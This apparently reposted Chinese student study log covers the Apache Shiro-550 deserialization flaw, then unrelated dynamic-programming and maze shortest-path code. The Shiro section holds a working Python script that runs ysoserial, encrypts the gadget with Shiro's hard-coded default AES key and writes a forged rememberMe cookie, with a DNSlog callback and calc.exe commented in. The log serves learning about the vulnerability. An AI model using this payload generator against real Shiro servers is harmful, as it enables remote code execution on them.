第三周日志-web(2)

server/2025/3/15 16:20:45/

 原本计划的web不是这个,但是b站上一个大佬讲web做到了连我都能听懂,不趁热打铁学一学记一记就怕忘记了

指路:Shiro反序列化漏洞(一)-shiro550流程分析_哔哩哔哩_bilibili

khttps://www.zhihu.com/question/486555909

学模板先看看结构和功能: 


 

shiro是一个java开源的安全框架

 功能(可以利用身份认证和rememberme):

  • Authentication:身份认证/登录,验证用户是不是拥有相应的身份
  • Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用 户是否能进行什么操作,如:验证某个
    用户是否拥有某个角色。或者细粒度的验证某个用户对某个资源是否具有某个权限
  • Session Manager:会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中;会话可以是普通 JavaSE环境,也可以是 Web 环境的
  • Cryptography:加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储
  • Caching:缓存,比如用户登录后,其用户信息、拥有的角色/权限不必每次去查,这样可以提高效率
  • Run As:允许一个用户假装为另一个用户(如果他们允许)的身份进行访问
  • Remember Me:记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了

身份验证、访问授权、数据加密,具体是怎么实现的:

1.cookie有保存信息(认证能利用吗,怎么处理cookie)

16年shiro-550反序列化漏洞

CookieRememberMeManager:功能,有个序列化操作,getCookie,base64

【之前只会做那种简单的利用isAdmin,shiro这里的功能是个isRememberme,但是Cookie有东西,有加密的做题关键,而不仅仅是我之前遇到的改true】

(找调用),解码之后convertoPrincipal【认证,知道了原理:解密,反序列化】操作

导致漏洞原因:固定的key来加密(bb:有些只一个key的对称加密也想试试能不能做)

payload:使用AES加密,很多安全反固化设备无法识别

暂时到这里,web题wp里的python我得多看看(周日欢迎提问)

python">import base64
import uuid
import subprocess
from Crypto.Cipher import AESdef rememberme(command):# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],stdout=subprocess.PIPE)# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':# payload = encode_rememberme('127.0.0.1:12345')# payload = rememberme('calc.exe')payload = rememberme('http://xxxx.ceye.io')with open("./payload.cookie", "w") as fpw:print("rememberMe={}".format(payload.decode()))res = "rememberMe={}".format(payload.decode())fpw.write(res)

------------------------------------------------我是分界线——————————————————————

原谅我,知道现阶段大多数时候都用不上一些密码还是算法,可是一看到就真的很想把她吃掉,at last,还是至少想学完它【日志看前面就好了,后面只是自己乱搞的】

算法我就把main函数省了哈

迷宫的动态规划第一周日志提到:

动态规划:1.填充边界2.二选一(上、左)

class Solution {
public:int minPathSum(vector<vector<int> >& matrix) {int row = matrix.size(), col = matrix[0].size(); for (int i = 0; i < row; i ++) {for (int j = 0; j < col; j ++) {if (i == 0 && j != 0) { // 数组第一行matrix[0][j] += matrix[0][j - 1];} else if (j == 0 && i != 0) { // 数组第一列matrix[i][0] += matrix[i - 1][0]; } else if (i > 0 && j > 0) {// 两种方式取最小的matrix[i][j] += min(matrix[i - 1][j], matrix[i][j - 1]);}}}return matrix[row - 1][col - 1];}
};

Dijkstra算法(单源带权最短路径)

脚本丢这里(现在的我只能看懂,但自己从头写还是困难了)

①初始化数组【记录距离dist[];选set[未填充];记录前驱path[]】

②找:min(每次找距离最短的节点)③更新:加入新节点后的最短距离

#include<iostream>
#include<string>
#include<queue>
#include<stack>
#include<cstdio>
using namespace std;
int maze[1000][1000];
int mark[1000][1000];struct Offsets
{int dx,dy;string dir;Offsets(int x=-1, int y=-1, string d=""):dx(x),dy(y),dir(d) {}
};
Offsets guide[4]= {{0,-1,"W"},{0,1,"E"},{1,0,"S"},{-1,0,"N"}};//x.y是方向对应坐标的变化
int sx,sy;
int ex,ey;struct PosInfo
{int px,py;PosInfo(int x=0,int y=0):px(x),py(y) {}
};
PosInfo pre[1000][1000]= {0,0};
int SeekShortesPath()
{PosInfo inf(sx,sy);//Queue<PosInfo> q;queue<PosInfo> q;//q.EnQueue(inf);//将起点位置入队q.push(inf);int nx,ny;mark[sx][sy]=1;//标记起点位置已经访问过while(!q.empty()){//q.DeQueue(inf);//队头元素出队inf=q.front();q.pop();PosInfo temp=inf;//int ix=inf.px;//int jy=inf.py;for(int i=0; i<4; i++)  // 四个方向扩展(搜索)查看队头元素的四个方向{nx=inf.px+guide[i].dx;ny=inf.py+guide[i].dy;//pre[nx][ny].px=ix;//pre[nx][ny].py=jy;//pre[nx][ny]=(ix,jy);//ix,ij是nx,ny的上一个位置if(maze[nx][ny]==0||mark[nx][ny]==1)continue;//cout<<nx<<ny<<endl;pre[nx][ny]=temp;//cout<<pre[nx][ny].px<<pre[nx][ny].py;if(maze[nx][ny]==4){ex=nx;ey=ny;return 1;}//q.EnQueue(PosInfo(nx,ny));q.push(PosInfo(nx,ny));mark[nx][ny]=1;//将可走的位置入队并标记}}return 0;
}
void PrintPath(int row,int column)
{PosInfo temp;stack<PosInfo> s;temp.px=ex;temp.py=ey;while(temp.px!=row||temp.py!=column){s.push(temp);temp=pre[temp.px][temp.py];}
s.push(temp);while(!s.empty()){temp=s.top();cout<<temp.px<<" "<<temp.py<<" "<<endl;s.pop();}cout<<endl;
}
int main()
{int a,b;cin>>a>>b;for(int i=0; i<a; i++){for(int j=0; j<b; j++)cin>>maze[i][j];}for(int i=0;i<a;i++){for(int j=0;j<b;j++)if(maze[i][j]==3){sx=i;sy=j;}}SeekShortesPath();PrintPath(sx,sy);


http://www.ppmy.cn/server/175200.html

相关文章

Python:析构函数,封装

析构函数&#xff1a; 删除对象的时候&#xff0c;解释器会默认调用__del__()方法&#xff1a; class Person:def __init__(self):print("123")def __del__(self):print("delete") pPerson() print("the last") 结果为&#xff1a; 123 the …

Python 与 sklearn 库:轻松构建 KNN 算法双版本

引言​ k 最近邻&#xff08;kNN&#xff09;算法是一种简单而强大的机器学习算法&#xff0c;常用于分类和回归任务。在 Python 中&#xff0c;借助 scikit - learn&#xff08;sklearn&#xff09;库&#xff0c;我们可以轻松实现 kNN 算法。本文将为大家介绍两种使用 sklea…

阿里巴巴发布 R1-Omni:首个基于 RLVR 的全模态大语言模型,用于情感识别

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

FPGA中级项目1——IP核(ROM 与 RAM)

FPGA中级项目1——IP核&#xff08;ROM 与 RAM&#xff09; IP核简介 在 FPGA&#xff08;现场可编程门阵列&#xff09;设计中&#xff0c;IP 核&#xff08;Intellectual Property Core&#xff0c;知识产权核&#xff09;是预先设计好的、可重用的电路模块&#xff0c;用于实…

Git提交前时间检查

为了防止在本地看日志的时候&#xff0c;由于本地时间被修改&#xff0c;导致日志的时间存在非正确时间。通过以下脚本在提交前进行时间验证&#xff0c;只有是正确的时间才可以提交。 使用方法如下&#xff1a; 复制如下脚本&#xff0c;命名为 pre-commit &#xff0c;放到 …

【存储中间件】Redis核心技术与实战(一):Redis入门与应用(高级数据结构:Bitmaps、HyperLogLog、GEO)

文章目录 Redis入门与应用Redis高级数据结构Bitmaps操作命令setbit 设置值getbit 获取值bitcount 获取Bitmaps指定范围值为1的个数bitop Bitmaps 间的运算bitpos 计算Bitmaps中第一个值为targetBit 的偏移量 Bitmaps优势面试题和场景传统数据结构的不足 布隆过滤器布隆过滤器简…

Unix 域套接字(本地套接字)

Unix 域套接字&#xff08;Unix Domain Sockets&#xff09;&#xff0c;也称为本地套接字&#xff08;Local Sockets&#xff09;&#xff0c;是一种用于同一主机上进程间通信&#xff08;IPC&#xff09;的机制。Unix 域套接字提供了一种高效的进程间通信方式&#xff0c;它利…

为什么List、Set集合无法在遍历的时候修改内部元素

以常用集合ArrayList为例&#xff0c;ArrayList 在遍历过程中无法直接修改内部元素的结构&#xff08;例如通过 remove() 或 add() 方法修改元素&#xff09;&#xff0c;是因为 遍历的过程中修改结构 可能会导致 不一致的行为、并发修改异常 或 逻辑错误。 注意&#xff1a;和…